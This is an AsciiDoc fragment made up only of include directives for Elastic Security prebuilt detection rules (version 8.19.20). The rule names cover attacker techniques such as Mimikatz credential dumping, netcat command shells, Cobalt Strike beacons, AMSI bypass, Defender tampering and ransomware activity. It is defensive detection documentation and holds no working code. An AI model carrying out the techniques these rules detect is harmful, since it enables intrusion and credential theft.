+include::prebuilt-rule-8-19-20-prompt-for-credentials-with-osascript.asciidoc[] +include::prebuilt-rule-8-19-20-first-time-python-accessed-sensitive-credential-files.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-web-browser-sensitive-file-access.asciidoc[] +include::prebuilt-rule-8-19-20-systemkey-access-via-command-line.asciidoc[] +include::prebuilt-rule-8-19-20-softwareupdate-preferences-modification.asciidoc[] +include::prebuilt-rule-8-19-20-quarantine-attrib-removed-by-unsigned-or-untrusted-process.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-disable-gatekeeper.asciidoc[] +include::prebuilt-rule-8-19-20-dylib-injection-via-process-environment-variables.asciidoc[] +include::prebuilt-rule-8-19-20-gatekeeper-override-and-execution.asciidoc[] +include::prebuilt-rule-8-19-20-modification-of-environment-variable-via-unsigned-or-untrusted-parent.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privacy-control-bypass-via-tccdb-modification.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc[] +include::prebuilt-rule-8-19-20-modification-of-safari-settings-via-defaults-command.asciidoc[] +include::prebuilt-rule-8-19-20-potential-microsoft-office-sandbox-evasion.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-tcc-access-granted-for-user-folders.asciidoc[] +include::prebuilt-rule-8-19-20-tcc-bypass-via-mounted-apfs-snapshot-access.asciidoc[] +include::prebuilt-rule-8-19-20-full-disk-access-permission-check.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-sip-check-by-macos-application.asciidoc[] +include::prebuilt-rule-8-19-20-system-and-network-configuration-check.asciidoc[] +include::prebuilt-rule-8-19-20-enumeration-of-users-or-groups-via-built-in-commands.asciidoc[] +include::prebuilt-rule-8-19-20-execution-via-electron-child-process-node-js-module.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-browser-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-installer-package-spawns-network-event.asciidoc[] +include::prebuilt-rule-8-19-20-first-time-python-spawned-a-shell-on-host.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-automator-workflows-execution.asciidoc[] +include::prebuilt-rule-8-19-20-apple-script-execution-followed-by-network-connection.asciidoc[] +include::prebuilt-rule-8-19-20-shell-execution-via-apple-scripting.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-library-load-via-python.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-macos-ms-office-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-potential-kerberos-attack-via-bifrost.asciidoc[] +include::prebuilt-rule-8-19-20-remote-ssh-login-enabled-via-systemsetup-command.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-curl-to-jamf-endpoint.asciidoc[] +include::prebuilt-rule-8-19-20-virtual-private-network-connection-attempt.asciidoc[] +include::prebuilt-rule-8-19-20-potential-hidden-local-user-account-creation.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-apple-mail-rule-plist-modification.asciidoc[] +include::prebuilt-rule-8-19-20-launch-service-creation-and-immediate-loading.asciidoc[] +include::prebuilt-rule-8-19-20-creation-of-hidden-login-item-via-apple-script.asciidoc[] +include::prebuilt-rule-8-19-20-authorization-plugin-modification.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-crontab-creation-or-modification.asciidoc[] +include::prebuilt-rule-8-19-20-curl-execution-via-shell-profile.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-hidden-child-process-of-launchd.asciidoc[] +include::prebuilt-rule-8-19-20-persistence-via-directoryservice-plugin-modification.asciidoc[] +include::prebuilt-rule-8-19-20-persistence-via-docker-shortcut-modification.asciidoc[] +include::prebuilt-rule-8-19-20-emond-rules-creation-or-modification.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-emond-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-enable-the-root-account.asciidoc[] +include::prebuilt-rule-8-19-20-creation-of-hidden-launch-agent-or-daemon.asciidoc[] +include::prebuilt-rule-8-19-20-persistence-via-folder-action-script.asciidoc[] +include::prebuilt-rule-8-19-20-persistence-via-login-or-logout-hook.asciidoc[] +include::prebuilt-rule-8-19-20-potential-persistence-via-login-hook.asciidoc[] +include::prebuilt-rule-8-19-20-manual-loading-of-a-suspicious-chromium-extension.asciidoc[] +include::prebuilt-rule-8-19-20-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc[] +include::prebuilt-rule-8-19-20-screensaver-plist-file-modified-by-unexpected-process.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-file-creation-via-pkg-install-script.asciidoc[] +include::prebuilt-rule-8-19-20-potential-persistence-via-atom-init-script-modification.asciidoc[] +include::prebuilt-rule-8-19-20-apple-scripting-execution-with-administrator-privileges.asciidoc[] +include::prebuilt-rule-8-19-20-execution-with-explicit-credentials-via-scripting.asciidoc[] +include::prebuilt-rule-8-19-20-potential-admin-group-account-addition.asciidoc[] +include::prebuilt-rule-8-19-20-user-added-to-the-admin-group.asciidoc[] +include::prebuilt-rule-8-19-20-dns-tunneling.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-dns-activity.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-web-request.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-failed-logon-events.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-logon-events.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-successful-logon-events-from-a-source-ip.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-windows-process-calling-the-metadata-service.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-powershell-script.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-source-ip-for-a-user-to-logon-from.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-windows-remote-user.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-host-based-traffic.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-firewall-denies.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-linux-network-port-activity.asciidoc[] +include::prebuilt-rule-8-19-20-decline-in-host-based-traffic.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-network-destination-domain-name.asciidoc[] +include::prebuilt-rule-8-19-20-network-traffic-to-rare-destination-country.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-network-traffic-to-a-country.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-windows-network-activity.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-process-for-a-windows-host.asciidoc[] +include::prebuilt-rule-8-19-20-anomalous-windows-process-creation.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-windows-service.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-windows-user-privilege-elevation-activity.asciidoc[] +include::prebuilt-rule-8-19-20-anomalous-linux-compiler-activity.asciidoc[] +include::prebuilt-rule-8-19-20-fortigate-configuration-file-downloaded.asciidoc[] +include::prebuilt-rule-8-19-20-accepted-default-telnet-port-connection.asciidoc[] +include::prebuilt-rule-8-19-20-cobalt-strike-command-and-control-beacon.asciidoc[] +include::prebuilt-rule-8-19-20-default-cobalt-strike-team-server-certificate.asciidoc[] +include::prebuilt-rule-8-19-20-possible-fin7-dga-command-and-control-behavior.asciidoc[] +include::prebuilt-rule-8-19-20-halfbaked-command-and-control-beacon.asciidoc[] +include::prebuilt-rule-8-19-20-ipsec-nat-traversal-port-activity.asciidoc[] +include::prebuilt-rule-8-19-20-smtp-on-port-26-tcp.asciidoc[] +include::prebuilt-rule-8-19-20-rdp-remote-desktop-protocol-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-20-vnc-virtual-network-computing-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-20-vnc-virtual-network-computing-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-20-potential-network-sweep-detected.asciidoc[] +include::prebuilt-rule-8-19-20-fortigate-forticloud-sso-login-from-unusual-source.asciidoc[] +include::prebuilt-rule-8-19-20-rpc-remote-procedure-call-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-20-rpc-remote-procedure-call-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-20-smb-windows-file-sharing-activity-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-20-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc[] +include::prebuilt-rule-8-19-20-abnormally-large-dns-response.asciidoc[] +include::prebuilt-rule-8-19-20-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc[] +include::prebuilt-rule-8-19-20-exploit-detected-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-20-exploit-prevented-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-20-permission-theft-detected-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-20-permission-theft-prevented-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-20-exporting-exchange-mailbox-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-20-exchange-mailbox-export-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-20-powershell-suspicious-script-with-audio-capture-capabilities.asciidoc[] +include::prebuilt-rule-8-19-20-powershell-keylogging-script.asciidoc[] +include::prebuilt-rule-8-19-20-powershell-suspicious-script-with-screenshot-capabilities.asciidoc[] +include::prebuilt-rule-8-19-20-potential-file-transfer-via-certreq.asciidoc[] +include::prebuilt-rule-8-19-20-connection-to-commonly-abused-web-services.asciidoc[] +include::prebuilt-rule-8-19-20-network-activity-to-a-suspicious-top-level-domain.asciidoc[] +include::prebuilt-rule-8-19-20-potential-file-download-via-a-headless-browser.asciidoc[] +include::prebuilt-rule-8-19-20-potential-command-and-control-via-internet-explorer.asciidoc[] +include::prebuilt-rule-8-19-20-newly-observed-screenconnect-host-server.asciidoc[] +include::prebuilt-rule-8-19-20-outlook-home-page-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-20-port-forwarding-rule-addition.asciidoc[] +include::prebuilt-rule-8-19-20-potential-remote-desktop-tunneling-detected.asciidoc[] +include::prebuilt-rule-8-19-20-potential-remcos-trojan-execution.asciidoc[] +include::prebuilt-rule-8-19-20-remote-file-download-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-20-remote-management-access-launch-after-msi-install.asciidoc[] +include::prebuilt-rule-8-19-20-netsupport-manager-execution-from-an-unusual-path.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-screenconnect-client-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-deprecated-sunburst-command-and-control-activity.asciidoc[] +include::prebuilt-rule-8-19-20-potential-file-transfer-via-curl-for-windows.asciidoc[] +include::prebuilt-rule-8-19-20-potential-protocol-tunneling-via-cloudflared.asciidoc[] +include::prebuilt-rule-8-19-20-potential-protocol-tunneling-via-yuze.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-shell-execution-via-velociraptor.asciidoc[] +include::prebuilt-rule-8-19-20-browser-process-spawned-from-an-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-20-potential-active-directory-replication-account-backdoor.asciidoc[] +include::prebuilt-rule-8-19-20-kerberos-pre-authentication-disabled-for-user.asciidoc[] +include::prebuilt-rule-8-19-20-creation-of-a-dns-named-record.asciidoc[] +include::prebuilt-rule-8-19-20-potential-kerberos-relay-attack-against-a-computer-account.asciidoc[] +include::prebuilt-rule-8-19-20-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc[] +include::prebuilt-rule-8-19-20-microsoft-iis-connection-strings-decryption.asciidoc[] +include::prebuilt-rule-8-19-20-untrusted-dll-loaded-by-azure-ad-sync-service.asciidoc[] +include::prebuilt-rule-8-19-20-kerberos-traffic-from-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-20-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc[] +include::prebuilt-rule-8-19-20-potential-kerberos-spn-spoofing-via-suspicious-dns-query.asciidoc[] +include::prebuilt-rule-8-19-20-access-to-a-sensitive-ldap-attribute.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-module-loaded-by-lsass.asciidoc[] +include::prebuilt-rule-8-19-20-potential-machine-account-relay-attack-via-smb.asciidoc[] +include::prebuilt-rule-8-19-20-mimikatz-memssp-log-file-detected.asciidoc[] +include::prebuilt-rule-8-19-20-potential-invoke-mimikatz-powershell-script.asciidoc[] +include::prebuilt-rule-8-19-20-modification-of-wdigest-security-provider.asciidoc[] +include::prebuilt-rule-8-19-20-windows-registry-file-creation-in-smb-share.asciidoc[] +include::prebuilt-rule-8-19-20-network-logon-provider-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-20-powershell-invoke-ninjacopy-script.asciidoc[] +include::prebuilt-rule-8-19-20-powershell-kerberos-ticket-dump.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-pass-the-hash-relay-script.asciidoc[] +include::prebuilt-rule-8-19-20-powershell-script-with-veeam-credential-access-capabilities.asciidoc[] +include::prebuilt-rule-8-19-20-rare-connection-to-webdav-target.asciidoc[] +include::prebuilt-rule-8-19-20-sensitive-registry-hive-access-via-regback.asciidoc[] +include::prebuilt-rule-8-19-20-potential-local-ntlm-relay-via-http.asciidoc[] +include::prebuilt-rule-8-19-20-potential-shadow-credentials-added-to-ad-object.asciidoc[] +include::prebuilt-rule-8-19-20-user-account-exposed-to-kerberoasting.asciidoc[] +include::prebuilt-rule-8-19-20-potential-credential-access-via-renamed-com-services-dll.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc[] +include::prebuilt-rule-8-19-20-symbolic-link-to-shadow-copy-created.asciidoc[] +include::prebuilt-rule-8-19-20-potential-veeam-credential-access-command.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-web-config-file-access.asciidoc[] +include::prebuilt-rule-8-19-20-wireless-credential-dumping-using-netsh-command.asciidoc[] +include::prebuilt-rule-8-19-20-potential-antimalware-scan-interface-bypass-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-20-clearing-windows-event-logs.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-communication-app-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-creation-or-modification-of-root-certificate.asciidoc[] +include::prebuilt-rule-8-19-20-network-level-authentication-nla-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-net-code-compilation.asciidoc[] +include::prebuilt-rule-8-19-20-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc[] +include::prebuilt-rule-8-19-20-imageload-via-windows-update-auto-update-client.asciidoc[] +include::prebuilt-rule-8-19-20-microsoft-build-engine-started-by-an-office-application.asciidoc[] +include::prebuilt-rule-8-19-20-microsoft-build-engine-started-by-a-script-process.asciidoc[] +include::prebuilt-rule-8-19-20-microsoft-build-engine-started-by-a-system-process.asciidoc[] +include::prebuilt-rule-8-19-20-microsoft-build-engine-started-an-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-microsoft-antimalware-service-execution.asciidoc[] +include::prebuilt-rule-8-19-20-deprecated-encoded-executable-stored-in-the-registry.asciidoc[] +include::prebuilt-rule-8-19-20-proxy-execution-via-console-window-host.asciidoc[] +include::prebuilt-rule-8-19-20-execution-via-windows-command-debugging-utility.asciidoc[] +include::prebuilt-rule-8-19-20-disabling-lsa-protection-via-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-endpoint-security-parent-process.asciidoc[] +include::prebuilt-rule-8-19-20-renamed-automation-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-20-microsoft-windows-defender-tampering.asciidoc[] +include::prebuilt-rule-8-19-20-msbuild-making-network-connections.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-microsoft-html-application-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-potential-remote-install-via-msiexec.asciidoc[] +include::prebuilt-rule-8-19-20-network-connection-via-msxsl.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-network-activity-from-a-windows-system-binary.asciidoc[] +include::prebuilt-rule-8-19-20-local-account-tokenfilter-policy-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-net-reflection-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-20-powershell-suspicious-payload-encoded-and-compressed.asciidoc[] +include::prebuilt-rule-8-19-20-powershell-script-with-encryption-decryption-capabilities.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-obfuscated-script-via-high-entropy.asciidoc[] +include::prebuilt-rule-8-19-20-deprecated-potential-powershell-obfuscated-script.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc[] +include::prebuilt-rule-8-19-20-potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc[] +include::prebuilt-rule-8-19-20-dynamic-iex-reconstruction-via-method-string-access.asciidoc[] +include::prebuilt-rule-8-19-20-powershell-obfuscation-via-negative-index-string-reversal.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-reverse-keywords.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-string-concatenation.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-string-reordering.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-special-character-overuse.asciidoc[] +include::prebuilt-rule-8-19-20-potential-process-injection-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-microsoft-diagnostics-wizard-execution.asciidoc[] +include::prebuilt-rule-8-19-20-dns-global-query-block-list-modified-or-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-potential-remotemonologue-attack.asciidoc[] +include::prebuilt-rule-8-19-20-potential-windows-session-hijacking-via-ccmexec.asciidoc[] +include::prebuilt-rule-8-19-20-script-execution-via-microsoft-html-application.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-certutil-commands.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-execution-from-a-mounted-device.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-managed-code-hosting-process.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-process-creation-calltrace.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-script-object-execution.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-wmic-xsl-script-execution.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-zoom-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-executable-file-creation-by-a-system-critical-process.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-network-connection-via-dllhost.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-process-network-connection.asciidoc[] +include::prebuilt-rule-8-19-20-wdac-policy-file-by-an-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-20-potential-evasion-via-windows-filtering-platform.asciidoc[] +include::prebuilt-rule-8-19-20-signed-proxy-execution-via-ms-work-folders.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-execution-via-windows-subsystem-for-linux.asciidoc[] +include::prebuilt-rule-8-19-20-execution-via-windows-subsystem-for-linux.asciidoc[] +include::prebuilt-rule-8-19-20-host-file-system-changes-via-windows-subsystem-for-linux.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-install-kali-linux-via-wsl.asciidoc[] +include::prebuilt-rule-8-19-20-windows-subsystem-for-linux-distribution-installed.asciidoc[] +include::prebuilt-rule-8-19-20-potential-enumeration-via-active-directory-web-service.asciidoc[] +include::prebuilt-rule-8-19-20-account-discovery-command-via-system-account.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-access-to-ldap-attributes.asciidoc[] +include::prebuilt-rule-8-19-20-system-public-ip-discovery-via-dns-query.asciidoc[] +include::prebuilt-rule-8-19-20-powershell-suspicious-discovery-related-windows-api-functions.asciidoc[] +include::prebuilt-rule-8-19-20-whoami-process-activity.asciidoc[] +include::prebuilt-rule-8-19-20-execution-of-com-object-via-xwizard.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-command-prompt-network-connection.asciidoc[] +include::prebuilt-rule-8-19-20-svchost-spawning-cmd.asciidoc[] +include::prebuilt-rule-8-19-20-delayed-execution-via-ping.asciidoc[] +include::prebuilt-rule-8-19-20-downloaded-url-files.asciidoc[] +include::prebuilt-rule-8-19-20-enumeration-command-spawned-via-wmiprvse.asciidoc[] +include::prebuilt-rule-8-19-20-execution-from-unusual-directory-command-line.asciidoc[] +include::prebuilt-rule-8-19-20-network-connection-via-compiled-html-file.asciidoc[] +include::prebuilt-rule-8-19-20-potential-foxmail-exploitation.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-execution-via-microsoft-common-console-file.asciidoc[] +include::prebuilt-rule-8-19-20-wps-office-exploitation-via-dll-hijack.asciidoc[] +include::prebuilt-rule-8-19-20-execution-of-file-written-or-modified-by-microsoft-office.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-execution-with-nodejs.asciidoc[] +include::prebuilt-rule-8-19-20-potential-notepad-markdown-rce-exploitation.asciidoc[] +include::prebuilt-rule-8-19-20-potential-powershell-hacktool-script-by-function-names.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-portable-executable-encoded-in-powershell-script.asciidoc[] +include::prebuilt-rule-8-19-20-command-and-scripting-interpreter-via-windows-scripts.asciidoc[] +include::prebuilt-rule-8-19-20-psexec-network-connection.asciidoc[] +include::prebuilt-rule-8-19-20-potential-command-shell-via-netcat.asciidoc[] +include::prebuilt-rule-8-19-20-outbound-scheduled-task-activity-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-execution-from-a-webdav-share.asciidoc[] +include::prebuilt-rule-8-19-20-windows-script-execution-from-archive.asciidoc[] +include::prebuilt-rule-8-19-20-execution-via-local-sxs-shared-module.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-javascript-execution-via-deno.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-cmd-execution-via-wmi.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-pdf-reader-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-process-execution-via-renamed-psexec-executable.asciidoc[] +include::prebuilt-rule-8-19-20-process-activity-via-compiled-html-file.asciidoc[] +include::prebuilt-rule-8-19-20-microsoft-management-console-file-from-unusual-path.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-windows-command-shell-arguments.asciidoc[] +include::prebuilt-rule-8-19-20-potential-fake-captcha-phishing-attack.asciidoc[] +include::prebuilt-rule-8-19-20-potential-execution-via-filefix-phishing-attack.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-windows-powershell-arguments.asciidoc[] +include::prebuilt-rule-8-19-20-potential-data-exfiltration-via-rclone.asciidoc[] +include::prebuilt-rule-8-19-20-rare-smb-connection-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-20-potential-ransomware-behavior-note-files-by-system.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-file-renamed-via-smb.asciidoc[] +include::prebuilt-rule-8-19-20-potential-ransomware-note-file-dropped-via-smb.asciidoc[] +include::prebuilt-rule-8-19-20-high-number-of-process-and-or-service-terminations.asciidoc[] +include::prebuilt-rule-8-19-20-volume-shadow-copy-deletion-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-html-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-execution-from-inet-cache.asciidoc[] +include::prebuilt-rule-8-19-20-potential-remote-file-execution-via-msiexec.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-execution-via-microsoft-office-add-ins.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-jetbrains-teamcity-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-remote-desktop-file-opened-from-suspicious-path.asciidoc[] +include::prebuilt-rule-8-19-20-windows-script-executing-powershell.asciidoc[] +include::prebuilt-rule-8-19-20-windows-script-interpreter-executing-process-via-wmi.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-execution-from-vs-code-extension.asciidoc[] +include::prebuilt-rule-8-19-20-microsoft-exchange-server-um-writing-suspicious-files.asciidoc[] +include::prebuilt-rule-8-19-20-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-ms-office-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-ms-outlook-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-windows-server-update-service-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-20-potential-cve-2025-33053-exploitation.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-explorer-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-screenconnect-server-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-20-remote-xsl-script-execution-via-com.asciidoc[] +include::prebuilt-rule-8-19-20-service-command-lateral-movement.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-kerberos-authentication-ticket-request.asciidoc[] +include::prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-via-mshta.asciidoc[] +include::prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-with-mmc.asciidoc[] +include::prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-with-shellbrowserwindow-or-shellwindows.asciidoc[] +include::prebuilt-rule-8-19-20-potential-remote-desktop-shadowing-activity.asciidoc[] +include::prebuilt-rule-8-19-20-execution-via-tsclient-mountpoint.asciidoc[] +include::prebuilt-rule-8-19-20-remote-execution-via-file-shares.asciidoc[] +include::prebuilt-rule-8-19-20-wmi-incoming-lateral-movement.asciidoc[] +include::prebuilt-rule-8-19-20-potential-sharprdp-behavior.asciidoc[] +include::prebuilt-rule-8-19-20-remote-file-copy-to-a-hidden-share.asciidoc[] +include::prebuilt-rule-8-19-20-remote-windows-service-installed.asciidoc[] +include::prebuilt-rule-8-19-20-remotely-started-services-via-rpc.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-child-process-of-dns-exe.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-file-operation-by-dns-exe.asciidoc[] +include::prebuilt-rule-8-19-20-lateral-movement-via-startup-folder.asciidoc[] +include::prebuilt-rule-8-19-20-potential-wsus-abuse-for-lateral-movement.asciidoc[] +include::prebuilt-rule-8-19-20-browser-extension-install.asciidoc[] +include::prebuilt-rule-8-19-20-creation-of-a-hidden-local-user-account.asciidoc[] +include::prebuilt-rule-8-19-20-persistence-via-microsoft-outlook-vba.asciidoc[] +include::prebuilt-rule-8-19-20-persistence-via-a-windows-installer.asciidoc[] +include::prebuilt-rule-8-19-20-new-activesyncalloweddeviceid-added-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-20-uncommon-registry-persistence-change.asciidoc[] +include::prebuilt-rule-8-19-20-startup-or-run-key-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-20-execution-of-persistent-suspicious-program.asciidoc[] +include::prebuilt-rule-8-19-20-adminsdholder-sdprop-exclusion-added.asciidoc[] +include::prebuilt-rule-8-19-20-unsigned-dll-loaded-by-svchost.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-persistence-via-services-registry.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-image-load-taskschd-dll-from-ms-office.asciidoc[] +include::prebuilt-rule-8-19-20-potential-persistence-via-mandatory-user-profile.asciidoc[] +include::prebuilt-rule-8-19-20-system-shells-via-services.asciidoc[] +include::prebuilt-rule-8-19-20-user-added-to-privileged-group-in-active-directory.asciidoc[] +include::prebuilt-rule-8-19-20-user-account-creation.asciidoc[] +include::prebuilt-rule-8-19-20-persistence-via-hidden-run-key-detected.asciidoc[] +include::prebuilt-rule-8-19-20-persistence-via-update-orchestrator-service-hijack.asciidoc[] +include::prebuilt-rule-8-19-20-persistence-via-wmi-standard-registry-provider.asciidoc[] +include::prebuilt-rule-8-19-20-web-shell-detection-script-process-child-of-common-web-processes.asciidoc[] +include::prebuilt-rule-8-19-20-werfault-reflectdebugger-persistence.asciidoc[] +include::prebuilt-rule-8-19-20-modification-of-the-mspkiaccountcredentials.asciidoc[] +include::prebuilt-rule-8-19-20-disabling-user-account-control-via-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-20-dmsa-account-creation-by-an-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-20-unsigned-dll-loaded-by-dns-service.asciidoc[] +include::prebuilt-rule-8-19-20-first-time-seen-driver-loaded.asciidoc[] +include::prebuilt-rule-8-19-20-expired-or-revoked-driver-loaded.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-cve-2022-38028.asciidoc[] +include::prebuilt-rule-8-19-20-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc[] +include::prebuilt-rule-8-19-20-startup-logon-script-added-to-group-policy-object.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-installerfiletakeover.asciidoc[] +include::prebuilt-rule-8-19-20-service-creation-via-local-kerberos-authentication.asciidoc[] +include::prebuilt-rule-8-19-20-privilege-escalation-via-named-pipe-impersonation.asciidoc[] +include::prebuilt-rule-8-19-20-powershell-script-with-token-impersonation-capabilities.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-print-spooler-point-and-print-dll.asciidoc[] +include::prebuilt-rule-8-19-20-deprecated-suspicious-printspooler-service-executable-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-print-spooler-file-deletion.asciidoc[] 